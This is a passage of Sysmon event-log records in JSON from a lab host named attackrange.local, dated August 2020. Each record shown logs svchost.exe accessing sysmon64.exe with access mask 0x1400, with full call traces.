C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.728","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1372,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1373,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1374,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1375,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1376,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1377,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1378,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.731\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.731","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1379,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.731\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 